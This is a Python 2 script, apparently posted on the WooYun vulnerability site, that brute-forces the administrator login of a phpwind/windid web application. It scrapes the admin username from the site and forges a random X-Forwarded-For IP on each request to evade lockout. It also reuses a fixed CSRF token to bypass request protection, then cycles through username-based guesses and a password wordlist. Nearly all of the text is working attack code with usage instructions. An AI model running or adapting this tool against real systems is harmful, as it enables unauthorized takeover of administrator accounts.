WooYun.org

#coding:utf-8
import httplib,re,random,urllib,time
from sys import argv
# 进行爆破 
def getHtml(host,username,password):
	ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))
	postHead={
		"Host":host,
		"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0",
		"X-Forwarded-For":ip,
		'Content-Type':'application/x-www-form-urlencoded',
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
		'Connection':'keep-alive',
		'Cookie':'csrf_token=wooyun'
		}
	postContent='username='+username+'&password='+password+'&submit=&csrf_token=wooyun'
	resultHtml=httplib.HTTPConnection(host, 80, False)
	resultHtml.request('POST','/windid/admin.php?a=login',body=postContent,headers = postHead )
	page=resultHtml.getresponse()
	pageConect=page.read()
	return pageConect
#获取 formhash  和  seccodehidden
def getusername(host):
	url='http://'+host+'/index.php?m=space&uid=1'
	pageContent=urllib.urlopen(url).read()
	r1=re.compile('">(\S{1,30})的个人空间</a>')
	username=r1.findall(pageContent)[0]
	return username
#通过argv获取 host 字典 间隔时间 进行爆破
if(len(argv)==1):
	print '---->python '+argv[0]+' host地址 字典文件 间隔时间'
	print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'
else:
	host=argv[1]
	passfile=argv[2]
	sleeptime=argv[3]
	print '网站host为  '+host
	print '密码字典为  '+passfile
	print '间隔时间为  '+sleeptime
	print '--->'
	username=getusername(host)
	f=open(passfile,'r')
	htmlpass=f.read().split('\r\n')
	f.close()
	userpass=[username+'123',username+'888',username+username,username+'..',username+'.',username+'admin888',username+'admin123',username+'admin',username+'123456']
	htmlpass=userpass+htmlpass
	for i in range(len(htmlpass)):
		time.sleep(float(sleeptime))
		print '正在尝试密码'+htmlpass[i]
		if(getHtml(host,username,htmlpass[i])==''):
			print '帐号为 '+username
			print '密码为 '+htmlpass[i]
			break